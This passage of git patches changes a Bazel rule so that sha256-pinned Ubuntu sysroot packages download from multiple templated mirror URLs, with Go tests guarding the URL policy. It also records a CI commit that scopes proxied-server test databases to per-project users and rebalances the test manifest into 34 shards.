superseded versions. +NOBLE_DEB_URLS = [ + "https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb", + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/{path}", + "https://launchpad.net/ubuntu/+archive/primary/+files/{file}", + "https://archive.ubuntu.com/ubuntu/{path}", +] + deb_sysroot( name = "cc_sysroot_noble_amd64", - mirrors = [ - "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", - "https://archive.ubuntu.com/ubuntu/", - ], packages = { "pool/main/g/gcc-13/libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "cd689db2691edaa10f37329307292796bb599e722e0505c79e14caaa1fe9a93a", "pool/main/g/gcc-13/libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "ee5633e863e19c3381ed97842ce35ed32ede96a3d1ae4e94c051d3036fe21347", @@ -70,6 +84,7 @@ deb_sysroot( "usr/lib/gcc/x86_64-linux-gnu/13/libquadmath*", "usr/lib/gcc/x86_64-linux-gnu/13/libstdc++*.a", ], + urls = NOBLE_DEB_URLS, ) LLVM_VERSION = "22.1.8" diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go index 335d0e648..fec515bff 100644 --- a/scripts/bazel_hermetic_cc_test.go +++ b/scripts/bazel_hermetic_cc_test.go @@ -33,9 +33,14 @@ const ( var ( sha256HexRE = regexp.MustCompile(`^[0-9a-f]{64}$`) - // snapshot.ubuntu.com serves each timestamp's archive state forever; a - // moving mirror (archive.ubuntu.com) may only follow it as a fallback. - ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/$`) + // snapshot.ubuntu.com serves each timestamp's archive state forever, so + // the package pins stay resolvable at the snapshot they were taken from. + ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/\{path\}$`) + // archive.ubuntu.com drops superseded versions: a fallback, never first. + ubuntuMovingMirrorRE = regexp.MustCompile(`^https?://([a-z0-9-]+\.)*archive\.ubuntu\.com/`) + // deb_sysroot's URL templates: {path} (pool path), {file} (its basename) + // and {sha256} (the pin) are the only placeholders. + debURLPlaceholderRE = regexp.MustCompile(`\{[^}]*\}`) // A sliced llvm_dist archive is a repack (repack_llvm.sh), not an // upstream release, so it may only come from a gastownhall release: // beads' own mirror or gascity's original asset (same bytes, same sha256). @@ -114,36 +119,96 @@ func checkHermeticCCModule(module string) []error { errs = append(errs, errors.New("llvm_dist must pin its archive by sha256")) } - if sysroot, err := moduleCall(module, "deb_sysroot", `name = "cc_sysroot_noble_amd64"`); err != nil { + if _, err := moduleCall(module, "deb_sysroot", `name = "cc_sysroot_noble_amd64"`); err != nil { errs = append(errs, err) + } + for _, m := range regexp.MustCompile(`(?ms)^deb_sysroot\(\n(.*?)^\)`).FindAllStringSubmatch(module, -1) { + errs = append(errs, checkDebSysroot(module, m[1])...) + } + return errs +} + +// checkDebSysroot: every package is an amd64 pool .deb pinned by sha256 that +// ships no ICU, and its URL templates give each package more than one host, +// keep the snapshot the pins were taken from, and never start with a moving +// mirror. +func checkDebSysroot(module, call string) []error { + var errs []error + name := "deb_sysroot" + if m := regexp.MustCompile(`name = "([^"]+)"`).FindStringSubmatch(call); m != nil { + name += " " + m[1] + } + urls, err := debSysrootURLs(module, call) + if err != nil { + errs = append(errs, errors.New(name+": "+err.Error())) } else { - mirrors := regexp.MustCompile(`(?s)mirrors = \[\s*"([^"]+)"`).FindStringSubmatch(sysroot) - if mirrors == nil || !ubuntuSnapshotRE.MatchString(mirrors[1]) { - errs = append(errs, errors.New("deb_sysroot's first mirror must be an immutable snapshot.ubuntu.com/ubuntu// root")) + hosts := map[string]bool{} + snapshot := false + for _, u := range urls { + holes := debURLPlaceholderRE.FindAllString(u, -1) + if len(holes) != 1 || (holes[0] != "{path}" && holes[0] != "{file}" && holes[0] != "{sha256}") { + errs = append(errs, errors.New(name+": url "+u+" must name the package by exactly one of {path}, {file} or {sha256}")) + } + snapshot = snapshot || ubuntuSnapshotRE.MatchString(u) + host, _, _ := strings.Cut(strings.TrimPrefix(u, "https://"), "/") + hosts[host] = true } - body := regexp.MustCompile(`(?s)packages = \{(.*?)\}`).FindStringSubmatch(sysroot) - if body == nil { - errs = append(errs, errors.New("deb_sysroot has no packages")) - } else { - pkgs := quotedPairs(body[1]) - if len(pkgs) == 0 { - errs = append(errs, errors.New("deb_sysroot has no packages")) - } - for path, sum := range pkgs { - if !strings.HasPrefix(path, "pool/") || !strings.HasSuffix(path, "_amd64.deb") || !sha256HexRE.MatchString(sum) { - errs = append(errs, errors.New("deb_sysroot package "+path+" must be an amd64 pool .deb pinned by sha256")) - } - // ICU policy (engdocs/ICU-POLICY.md): nothing links libicu, - // so the sysroot offers no ICU to link against. - if strings.Contains(path, "/icu/") { - errs = append(errs, errors.New("deb_sysroot package "+path+" ships ICU, which beads must never link (engdocs/ICU-POLICY.md)")) - } - } + if !snapshot { + errs = append(errs, errors.New(name+": urls must include an immutable https://snapshot.ubuntu.com/ubuntu//{path}")) + } + if len(hosts) < 2 { + errs = append(errs, errors.New(name+": urls must span at least two hosts, so one outage cannot fail a cold fetch")) + } + if len(urls) > 0 && ubuntuMovingMirrorRE.MatchString(urls[0]) { + errs = append(errs, errors.New(name+": the first url must not be a moving mirror (archive.ubuntu.com drops superseded packages)")) + } + } + body := regexp.MustCompile(`(?s)packages = \{(.*?)\}`).FindStringSubmatch(call) + if body == nil { + return append(errs, errors.New(name+" has no packages")) + } + pkgs := quotedPairs(body[1]) + if len(pkgs) == 0 { + errs = append(errs, errors.New(name+" has no packages")) + } + for path, sum := range pkgs { + if !strings.HasPrefix(path, "pool/") || !strings.HasSuffix(path, "_amd64.deb") || !sha256HexRE.MatchString(sum) { + errs = append(errs, errors.New(name+" package "+path+" must be an amd64 pool .deb pinned by sha256")) + } + // ICU policy (engdocs/ICU-POLICY.md): nothing links libicu, + // so the sysroot offers no ICU to link against. + if strings.Contains(path, "/icu/") { + errs = append(errs, errors.New(name+" package "+path+" ships ICU, which beads must never link (engdocs/ICU-POLICY.md)")) } } return errs } +// debSysrootURLs returns a deb_sysroot call's url templates: an inline list, +// or a top-level MODULE.bazel list constant. +func debSysrootURLs(module, call string) ([]string, error) { + m := regexp.MustCompile(`(?s)urls = (\[.*?\]|[A-Z][A-Z0-9_]*),`).FindStringSubmatch(call) + if m == nil { + return nil, errors.New("no urls") + } + list := m[1] + if !strings.HasPrefix(list, "[") { + def := regexp.MustCompile(`(?ms)^` + list + ` = (\[.*?^\])`).FindStringSubmatch(module) + if def == nil { + return nil, errors.New("urls names " + list + ", which MODULE.bazel does not define as a list") + } + list = def[1] + } + var urls []string + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(list, -1) { + urls = append(urls, q[1]) + } + if len(urls) == 0 { + return nil, errors.New("no urls") + } + return urls, nil +} + // checkHermeticLLVMSlice: a sliced llvm_dist downloads only from a // gastownhall release, and its members equal the repack script's list, so // the pinned slice can be rebuilt from upstream and checked file by file. @@ -240,12 +305,16 @@ func TestBazelHermeticCCToolchainGuards(t *testing.T) { module := `bazel_dep(name = "rules_go", version = "0.63.0") bazel_dep(name = "toolchains_llvm", version = "1.11.0") +NOBLE_DEB_URLS = [ + "https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb", + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/{path}", + "https://launchpad.net/ubuntu/+archive/primary/+files/{file}", + "https://archive.ubuntu.com/ubuntu/{path}", +] + deb_sysroot( name = "cc_sysroot_noble_amd64", - mirrors = [ - "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", - "https://archive.ubuntu.com/ubuntu/", - ], + urls = NOBLE_DEB_URLS, packages = { "pool/main/g/glibc/libc6-dev_2.39-0ubuntu8.9_amd64.deb": "` + sum + `", }, @@ -293,7 +362,14 @@ llvm.sysroot( "other-host dist version": strings.Replace(module, "llvm_version = LLVM_VERSION", `llvm_version = "17.0.6"`, 1), "other-host dist versions": strings.Replace(module, `llvm_versions = {"": LLVM_VERSION},`, "", 1), "unpinned LLVM": strings.Replace(module, ` sha256 = "`+sum+`",`+"\n)", "\n)", 1), - "moving mirror first": strings.Replace(module, `"https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/",`, "", 1), + "moving mirror first": strings.Replace(module, `"https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb",`, `"https://archive.ubuntu.com/ubuntu/{path}",`, 1), + "no snapshot": strings.Replace(module, `"https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/{path}",`, "", 1), + "moving snapshot": strings.Replace(module, "/ubuntu/20261001T000000Z/{path}", "/ubuntu/{path}", 1), + "single host": strings.NewReplacer(`"https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb",`, "", `"https://launchpad.net/ubuntu/+archive/primary/+files/{file}",`, "", `"https://archive.ubuntu.com/ubuntu/{path}",`, "").Replace(module), + "package-blind url": strings.Replace(module, "/+files/{file}", "/+files/libc6.deb", 1), + "unknown placeholder": strings.Replace(module, "/+files/{file}", "/+files/{name}", 1), + "undefined url list": strings.Replace(module, "urls = NOBLE_DEB_URLS,", "urls = OTHER_URLS,", 1), + "no urls": strings.Replace(module, "urls = NOBLE_DEB_URLS,", "", 1), "unpinned package": strings.Replace(module, `_amd64.deb": "`+sum+`"`, `_amd64.deb": ""`, 1), "ICU in sysroot": strings.Replace(module, " packages = {\n", " packages = {\n \"pool/main/i/icu/libicu74_74.2-1ubuntu3.1_amd64.deb\": \""+sum+"\",\n", 1), "sysroot other targets": strings.Replace(module, "label = \""+hermeticCCSysrootLabel+"\",\n targets = [\"linux-x86_64\"]", "label = \""+hermeticCCSysrootLabel+"\",\n targets = []", 1), diff --git a/third_party/cc_toolchain/deb_sysroot.bzl b/third_party/cc_toolchain/deb_sysroot.bzl index ae96aa392..809476f93 100644 --- a/third_party/cc_toolchain/deb_sysroot.bzl +++ b/third_party/cc_toolchain/deb_sysroot.bzl @@ -1,7 +1,9 @@ """deb_sysroot: a C/C++ sysroot assembled from pinned Debian/Ubuntu packages. Every package is fetched by sha256, so the sysroot is byte-identical on every -host. It gives the hermetic LLVM toolchain (MODULE.bazel) the glibc, +host whichever source served it; the sources are only an availability chain. +All packages download concurrently (Bazel bounds it by +--http_max_parallel_downloads), each trying its URLs in order. It gives the hermetic LLVM toolchain (MODULE.bazel) the glibc, libstdc++ and ICU headers and link libraries that cgo targets need, instead of whatever the host has under /usr. """ @@ -23,20 +25,30 @@ grep -rlI --include='*.so' 'GROUP' usr/lib | while IFS= read -r s; do done """ +def _package_urls(templates, path, sha256): + return [ + t.format(path = path, file = path.rsplit("/", 1)[-1], sha256 = sha256) + for t in templates + ] + def _deb_sysroot_impl(rctx): + pending = [] for path, sha256 in rctx.attr.packages.items(): - name = path.rsplit("/", 1)[-1] - deb = "_debs/" + name - rctx.download( - url = [mirror + path for mirror in rctx.attr.mirrors], + deb = "_debs/" + path.rsplit("/", 1)[-1] + pending.append((deb, rctx.download( + url = _package_urls(rctx.attr.urls, path, sha256), output = deb, sha256 = sha256, - ) - unpacked = "_debs/" + name + ".d" + block = False, + ))) + for _, download in pending: + download.wait() + for deb, _ in pending: + unpacked = deb + ".d" rctx.extract(deb, output = unpacked) data = [f for f in rctx.path(unpacked).readdir() if f.basename.startswith("data.tar")] if len(data) != 1: - fail("%s: expected one data.tar.* member, found %s" % (name, data)) + fail("%s: expected one data.tar.* member, found %s" % (deb, data)) rctx.extract(data[0], output = ".") rctx.delete("_debs") @@ -67,11 +79,12 @@ deb_sysroot = repository_rule( attrs = { "packages": attr.string_dict( mandatory = True, - doc = "Pool path (relative to each mirror) to the .deb's sha256.", + doc = "Pool path (pool//...) to the .deb's sha256.", ), - "mirrors": attr.string_list( + "urls": attr.string_list( mandatory = True, - doc = "Archive roots tried in order; the first is an immutable snapshot.", + doc = "URL templates tried in order for every package: {path} is the pool " + + "path, {file} its basename and {sha256} its pinned digest.", ), "remove": attr.string_list( doc = "Bash globs (globstar) dropped after unpacking: docs, unused runtimes and archives.", From 7896abbfa8f6e791d20f4ae96a27ed9f3fa33077 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 18:22:08 +0000 Subject: [PATCH 080/213] ci(bazel): scope the proxied lane's shared-server projects to their own database (44 -> 34 shards) (#7436) * ci(bazel): scope the proxied lane's shared-server projects to their own database (44 -> 28 shards) //cmd/bd:bd_proxied_test spends nearly all its time in `bd init --proxied-server` against the shard's shared dolt sql-server. Measured where that goes (dolt query log): of ~2,031 statements per init, the ~220 INFORMATION_SCHEMA queries (migration guards and pre-repair probes) are ~80% of server time at a handful of databases, the 81 DOLT_COMMITs only ~0.5s. Dolt evaluates INFORMATION_SCHEMA by walking every database the session can see, so as root each init cost the server ~1.2 CPU-seconds more per database already on it (locally 6.7 CPU-s with 1 database, 21 with 11): a shard's k-th init paid for the k-1 projects before it. - proxied_shared_harness_test.go: newSharedProxiedProject now provisions the database server-side (root creates it plus a passwordless user of the same name with ALL on it and nothing else) and inits with --proxied-server-external-user, so each project's sessions see one database. newSharedProxiedRootProject keeps the old root/bd-creates-it shape for the four tests that need a server-wide privilege (DOLT_REMOTE remove, CREATE DATABASE, one compact statement); a run with the server log in test outputs showed no other denied statement. - Dropping finished databases instead was tried and rejected: a DROP DATABASE fails other sessions' in-flight INFORMATION_SCHEMA queries ("no root value found in session"), ~35 init failures per run. - No assertion changed. The bd-creates-the-database path stays covered by the root variant, the managed-local and non-shared init tests. - proxied_test_durations.json re-measured (two rbe-west runs): 19,618 -> 6,345 cost-seconds. 44 -> 28 shards, LPT-packed to ~227 per shard. rbe-west, --nocache_test_results (BEP attempt durations): before 44 shards, sum 6,063s, max 186s; scoped users at 44 shards, sum 2,337s, max 68s; at 20 shards, sum 1,950s, max 136s. Bead: ga-vnycm2.16 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): proxied lane 28 -> 34 shards for a <=100s slowest shard PR CI at 28 shards (~227 packed cost each): 2,285 shard-seconds, median 78s, but max 113s; equally packed shards spread up to 1.45x the median. 34 shards (~187 each) targets a slowest shard under 100s. Bead: ga-vnycm2.16 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/proxied-cmd-test-shards.txt | 430 ++++++++-------- .github/workflows/bazel.yml | 23 +- cmd/bd/BUILD.bazel | 6 +- ..._remote_remove_proxied_integration_test.go | 6 +- .../history_remote_frontdoor_matrix_test.go | 2 +- ...nance_commands_proxied_integration_test.go | 2 +- cmd/bd/proxied_shared_harness_test.go | 82 +++- ...multistatement_proxied_integration_test.go | 2 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- engdocs/TESTING.md | 4 +- scripts/ci/gen_proxied_shard_manifest.py | 7 +- scripts/ci/proxied_test_durations.json | 461 +++++++++--------- scripts/shard_manifest_test.go | 2 +- 13 files changed, 546 insertions(+), 483 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 195ff2c5f..42a1fc999 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -225,12 +225,12 @@ # # Format: # -# 44-shard split for the Bazel-only proxied-server tier +# 34-shard split for the Bazel-only proxied-server tier # (bazel-proxied in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/proxied_test_durations.json (see that file for # provenance and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 44 +# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 34 # --weights=duration --write after adding or removing # TestProxiedServer*/TestServerMode* functions. --write is incremental: # it keeps every already-assigned test on its current shard and only @@ -252,254 +252,244 @@ # regeneration. Add them to the generator or the durations file # instead. -44 1 TestProxiedServerDep2 -44 1 TestProxiedServerServeAddDependencies +34 1 TestProxiedServerDep2 +34 1 TestProxiedServerMolProgress +34 1 TestProxiedServerReadyClaimConcurrent +34 1 TestProxiedServerServeActivatesTheEventsJournal +34 1 TestProxiedServerServeRelease -44 2 TestProxiedServerClose2 -44 2 TestProxiedServerCount -44 2 TestProxiedServerEventsJournalOffByDefault -44 2 TestProxiedServerServeRefusesAStreamOnADisabledJournal +34 2 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge +34 2 TestProxiedServerGateList +34 2 TestProxiedServerList +34 2 TestProxiedServerServeRemoveDependency +34 2 TestProxiedServerUpdateC -44 3 TestProxiedServerEventsJournal -44 3 TestProxiedServerServeReadsTheJournalItJustWrote -44 3 TestProxiedServerUpdate3 -44 3 TestServerModeSharedServeGlobalReportsTheServedDatabase +34 3 TestProxiedServerAutoPrune +34 3 TestProxiedServerClose2B +34 3 TestProxiedServerEventsJournalOffByDefault +34 3 TestProxiedServerMolLastActivity +34 3 TestProxiedServerPurgeWispsPlaneRetention +34 3 TestProxiedServerServeLifecycle +34 3 TestProxiedServerStatuses -44 4 TestProxiedServerClose2B -44 4 TestProxiedServerOutageReconnectAcceptanceMatrix -44 4 TestProxiedServerServeDelete -44 4 TestProxiedServerSetState +34 4 TestProxiedServerMolStale +34 4 TestProxiedServerReadyConcurrent +34 4 TestProxiedServerServeRelatedIssues +34 4 TestProxiedServerServeSettingsWrites +34 4 TestProxiedServerShow2 +34 4 TestServerModeServeSkipsPostRunMaintenance -44 5 TestProxiedServerCreateInfraTypeRoutesToWisps -44 5 TestProxiedServerHuman -44 5 TestProxiedServerListComments -44 5 TestProxiedServerServeClaimNext +34 5 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix +34 5 TestProxiedServerInfo +34 5 TestProxiedServerNote +34 5 TestProxiedServerOutageReconnectAcceptanceMatrix +34 5 TestProxiedServerUpdate3 +34 5 TestServerModeDeferAutoWake -44 6 TestProxiedServerAssign -44 6 TestProxiedServerCompactDolt -44 6 TestProxiedServerHistory -44 6 TestProxiedServerIfRevisionGuardDelete -44 6 TestProxiedServerKV -44 6 TestProxiedServerServeStreamsTheJournalItIsWriting +34 6 TestProxiedServerPing +34 6 TestProxiedServerQuick +34 6 TestProxiedServerServeReadsTheJournalItJustWrote +34 6 TestProxiedServerSwarm +34 6 TestProxiedServerUpdate2B +34 6 TestProxiedServerWispList -44 7 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce -44 7 TestProxiedServerDoltLifecycle -44 7 TestProxiedServerGateFrontDoorDirectServerProxyParity -44 7 TestProxiedServerIfRevisionGuardClose -44 7 TestProxiedServerMolDistill -44 7 TestProxiedServerPathHelpers -44 7 TestProxiedServerStorageClass -44 7 TestServerModeServe +34 7 TestProxiedServerCloseConcurrent +34 7 TestProxiedServerCreateInfraTypeRoutesToWisps +34 7 TestProxiedServerExternalCreate +34 7 TestProxiedServerIfRevisionGuardDelete +34 7 TestProxiedServerLabelC +34 7 TestProxiedServerTypesAgreeWithCreate -44 8 TestProxiedServerDelete -44 8 TestProxiedServerPourRejectsEnumViolatingVar -44 8 TestProxiedServerSQL -44 8 TestProxiedServerTag -44 8 TestProxiedServerUpdate2B +34 8 TestProxiedServerClose2 +34 8 TestProxiedServerDeleteWisp +34 8 TestProxiedServerExport +34 8 TestProxiedServerFindDuplicates +34 8 TestProxiedServerGateCheck +34 8 TestProxiedServerServeReadParity -44 9 TestProxiedServerConfigSetMany -44 9 TestProxiedServerReopen -44 9 TestProxiedServerServeClaim -44 9 TestProxiedServerUnclaimIfAssigneeParity -44 9 TestProxiedServerUpdateConcurrentAppendNotes +34 9 TestProxiedServerCloseSiblingBlockersFanIn +34 9 TestProxiedServerGateLifecycle +34 9 TestProxiedServerHistoryRemoteSupportedFrontDoorParity +34 9 TestProxiedServerIfRevisionGuardReopen +34 9 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled +34 9 TestProxiedServerUpdate +34 9 TestServerModeServe -44 10 TestProxiedServerDeleteBlockedJSONSingleDoc -44 10 TestProxiedServerLink -44 10 TestProxiedServerPriority -44 10 TestProxiedServerReadyWisp -44 10 TestProxiedServerServeAddComment +34 10 TestProxiedServerContext +34 10 TestProxiedServerCreate2B +34 10 TestProxiedServerGateCheckB +34 10 TestProxiedServerServeRefusesAStreamOnADisabledJournal +34 10 TestProxiedServerTypes +34 10 TestProxiedServerUpdate2C -44 11 TestProxiedServerAutoPrune -44 11 TestProxiedServerBatchParity -44 11 TestProxiedServerContext -44 11 TestProxiedServerCreate2 -44 11 TestProxiedServerExternalMutationPolicy +34 11 TestProxiedServerBatchParity +34 11 TestProxiedServerCompactHistory +34 11 TestProxiedServerPour +34 11 TestProxiedServerQuery +34 11 TestProxiedServerReady +34 11 TestProxiedServerServeAddDependencies -44 12 TestProxiedServerExternalCreate -44 12 TestProxiedServerServeRelatedIssues -44 12 TestProxiedServerUpdate -44 12 TestProxiedServerWispList -44 12 TestServerModeTypesAgreeWithCreate +34 12 TestProxiedServerBlocked +34 12 TestProxiedServerChildren +34 12 TestProxiedServerCleanDatabases +34 12 TestProxiedServerReadyB +34 12 TestProxiedServerReadyWisp +34 12 TestProxiedServerReclaim +34 12 TestProxiedServerUnclaim -44 13 TestProxiedServerCreate -44 13 TestProxiedServerRecomputeBlocked -44 13 TestProxiedServerServeUpdate -44 13 TestProxiedServerShow2 -44 13 TestProxiedServerStale +34 13 TestProxiedServerCompactDolt +34 13 TestProxiedServerCreate2 +34 13 TestProxiedServerGraph +34 13 TestProxiedServerMolSquash +34 13 TestProxiedServerPromote +34 13 TestProxiedServerServeRefusesAStaleCheckpointWithGone -44 14 TestProxiedServerMolSquash -44 14 TestProxiedServerQuick -44 14 TestProxiedServerServeReadParity -44 14 TestProxiedServerServeRefusesAStaleCheckpointWithGone -44 14 TestProxiedServerShow2B +34 14 TestProxiedServerAssign +34 14 TestProxiedServerCloseB +34 14 TestProxiedServerDuplicates +34 14 TestProxiedServerHeartbeat +34 14 TestProxiedServerInitIfMissing +34 14 TestProxiedServerMolReadyGated -44 15 TestProxiedServerCountIncludeInfra -44 15 TestProxiedServerDeleteForceOrphans -44 15 TestProxiedServerDuplicates -44 15 TestProxiedServerLabel -44 15 TestProxiedServerServeBatchClose +34 15 TestProxiedServerDepConcurrent +34 15 TestProxiedServerImport +34 15 TestProxiedServerMoleculeFrontDoorWriteParity +34 15 TestProxiedServerReopenConcurrent +34 15 TestProxiedServerSQL -44 16 TestProxiedServerHistoryRemoteSupportedFrontDoorParity -44 16 TestProxiedServerQuery -44 16 TestProxiedServerSQLDatabaseFlag -44 16 TestProxiedServerShowB -44 16 TestProxiedServerWispCreate +34 16 TestProxiedServerBackupRefusedOnExternalTopology +34 16 TestProxiedServerCascadeParity +34 16 TestProxiedServerConfigSetMany +34 16 TestProxiedServerKV +34 16 TestProxiedServerServeCount +34 16 TestProxiedServerServeCreate +34 16 TestProxiedServerUpdateHooks -44 17 TestProxiedServerDoltRemoteRemove -44 17 TestProxiedServerImport -44 17 TestProxiedServerLint -44 17 TestProxiedServerServeEdgeCounts -44 17 TestProxiedServerStatus +34 17 TestProxiedServerDep +34 17 TestProxiedServerMultiStatementSQL +34 17 TestProxiedServerOrphans +34 17 TestProxiedServerPrime +34 17 TestProxiedServerSQLDatabaseFlag +34 17 TestProxiedServerServeModeGate -44 18 TestProxiedServerCloseConcurrent -44 18 TestProxiedServerDep2C -44 18 TestProxiedServerEdit -44 18 TestProxiedServerIfRevisionGuardUpdate -44 18 TestProxiedServerSearch +34 18 TestProxiedServerClose3 +34 18 TestProxiedServerCount +34 18 TestProxiedServerCountIncludeInfra +34 18 TestProxiedServerDoltRemoteRemove +34 18 TestProxiedServerMolShow +34 18 TestProxiedServerWispCreateRejectsEnumViolatingVar -44 19 TestProxiedServerServeClose -44 19 TestProxiedServerTypesAgreeWithCreate -44 19 TestProxiedServerUpdate2 -44 19 TestProxiedServerUpdateClosePolicy +34 19 TestProxiedServerCreate +34 19 TestProxiedServerMolCurrent +34 19 TestProxiedServerServeBatchClose +34 19 TestProxiedServerShow3 +34 19 TestServerModeTypesAgreeWithCreate -44 20 TestProxiedServerDeferAutoWake -44 20 TestProxiedServerEpic -44 20 TestProxiedServerIfRevisionGuardReopen -44 20 TestProxiedServerInitIfMissing -44 20 TestProxiedServerReopenB -44 20 TestProxiedServerUpdateIfGuards +34 20 TestProxiedServerDelete +34 20 TestProxiedServerLint +34 20 TestProxiedServerPriority +34 20 TestProxiedServerShow2B +34 20 TestProxiedServerWispGC +34 20 TestServerModeSharedServeGlobalReportsTheServedDatabase -44 21 TestProxiedServerBlocked -44 21 TestProxiedServerCleanDatabases -44 21 TestProxiedServerConfig -44 21 TestProxiedServerMolShow -44 21 TestProxiedServerPing -44 21 TestProxiedServerServeActivatesTheEventsJournal +34 21 TestProxiedServerConfig +34 21 TestProxiedServerExternalPolicyDirectParity +34 21 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity +34 21 TestProxiedServerPathHelpers +34 21 TestProxiedServerPrune +34 21 TestProxiedServerServeClose +34 21 TestProxiedServerUnclaimIfAssigneeParity -44 22 TestProxiedServerCloseBeadGate -44 22 TestProxiedServerExternalPolicyDirectParity -44 22 TestProxiedServerFindDuplicates -44 22 TestProxiedServerReadyB -44 22 TestProxiedServerServeCreate +34 22 TestProxiedServerGateCreateInheritsRepoMetadata +34 22 TestProxiedServerRecomputeBlocked +34 22 TestProxiedServerServeEdgeCounts +34 22 TestProxiedServerTag +34 22 TestProxiedServerUpdateB +34 22 TestProxiedServerUpdateConcurrentMetadata -44 23 TestProxiedServerCloseSiblingBlockersFanIn -44 23 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity -44 23 TestProxiedServerPour -44 23 TestProxiedServerShow3 -44 23 TestProxiedServerUpdateConcurrentClaim +34 23 TestProxiedServerDep2B +34 23 TestProxiedServerIfRevisionGuardUpdate +34 23 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows +34 23 TestProxiedServerMolBurn +34 23 TestProxiedServerServeUpdate +34 23 TestProxiedServerUpdateConcurrentClaim +34 23 TestProxiedServerUpdateWisp -44 24 TestProxiedServerLabelC -44 24 TestProxiedServerMemory -44 24 TestProxiedServerMolStale -44 24 TestProxiedServerServeUpdateClaim -44 24 TestProxiedServerSwarm +34 24 TestProxiedServerDeleteBlockedJSONSingleDoc +34 24 TestProxiedServerDeleteForceOrphans +34 24 TestProxiedServerHuman +34 24 TestProxiedServerIfRevisionGuardAssign +34 24 TestProxiedServerListComments +34 24 TestProxiedServerListSortRetiresTheWalk +34 24 TestProxiedServerShowWatch +34 24 TestProxiedServerUpdateIfGuards -44 25 TestProxiedServerHeartbeat -44 25 TestProxiedServerMolLastActivity -44 25 TestProxiedServerReassignFence -44 25 TestProxiedServerStatuses -44 25 TestProxiedServerUpdateWisp +34 25 TestProxiedServerInitExplicitBeadsDirIsAuthoritative +34 25 TestProxiedServerSetState +34 25 TestProxiedServerShow +34 25 TestProxiedServerShowB +34 25 TestProxiedServerStale +34 25 TestProxiedServerWispCreate -44 26 TestProxiedServerGraph -44 26 TestProxiedServerMolBond -44 26 TestProxiedServerServeReadRevision -44 26 TestProxiedServerTodo -44 26 TestProxiedServerUpdateHooks +34 26 TestProxiedServerDeferAutoWake +34 26 TestProxiedServerExternalMutationPolicy +34 26 TestProxiedServerReopenB +34 26 TestProxiedServerSearch +34 26 TestProxiedServerServeClaim +34 26 TestProxiedServerShow3B -44 27 TestProxiedServerCreate2B -44 27 TestProxiedServerGateList -44 27 TestProxiedServerGatedRendering -44 27 TestProxiedServerReopenConcurrent -44 27 TestProxiedServerSQLStatementRouting +34 27 TestProxiedServerDeferUndefer +34 27 TestProxiedServerGatedRendering +34 27 TestProxiedServerHistory +34 27 TestProxiedServerLabel +34 27 TestProxiedServerLabelB +34 27 TestProxiedServerUpdateClosePolicy -44 28 TestProxiedServerComment -44 28 TestProxiedServerMolProgress -44 28 TestProxiedServerServeCount -44 28 TestProxiedServerServeRemoveDependency -44 28 TestProxiedServerUpdateB +34 28 TestProxiedServerDep2C +34 28 TestProxiedServerDoltLifecycle +34 28 TestProxiedServerReady2 +34 28 TestProxiedServerReassignFence +34 28 TestProxiedServerSQLStatementRouting +34 28 TestProxiedServerServeClaimNext +34 28 TestProxiedServerUpdateConcurrentAppendNotes -44 29 TestProxiedServerCreate2C -44 29 TestProxiedServerDep -44 29 TestProxiedServerDepConcurrent -44 29 TestProxiedServerServeSettingsWrites -44 29 TestProxiedServerWispCreateRejectsEnumViolatingVar +34 29 TestProxiedServerGateFrontDoorDirectServerProxyParity +34 29 TestProxiedServerMolDistill +34 29 TestProxiedServerReopen +34 29 TestProxiedServerServeDelete +34 29 TestProxiedServerState -44 30 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge -44 30 TestProxiedServerInfo -44 30 TestProxiedServerPrime -44 30 TestProxiedServerUpdateC -44 30 TestServerModeServeSkipsPostRunMaintenance +34 30 TestProxiedServerDeleteConcurrent +34 30 TestProxiedServerReadyC +34 30 TestProxiedServerServeAddComment +34 30 TestProxiedServerStatus +34 30 TestProxiedServerTodo +34 30 TestProxiedServerUpdate2 -44 31 TestProxiedServerCleanDatabasesPurgeDropped -44 31 TestProxiedServerGateLifecycle -44 31 TestProxiedServerPurgeWispsPlaneRetention -44 31 TestProxiedServerShow3B -44 31 TestServerModeDeferAutoWake +34 31 TestProxiedServerCloseBeadGate +34 31 TestProxiedServerComment +34 31 TestProxiedServerConfigB +34 31 TestProxiedServerEventsJournal +34 31 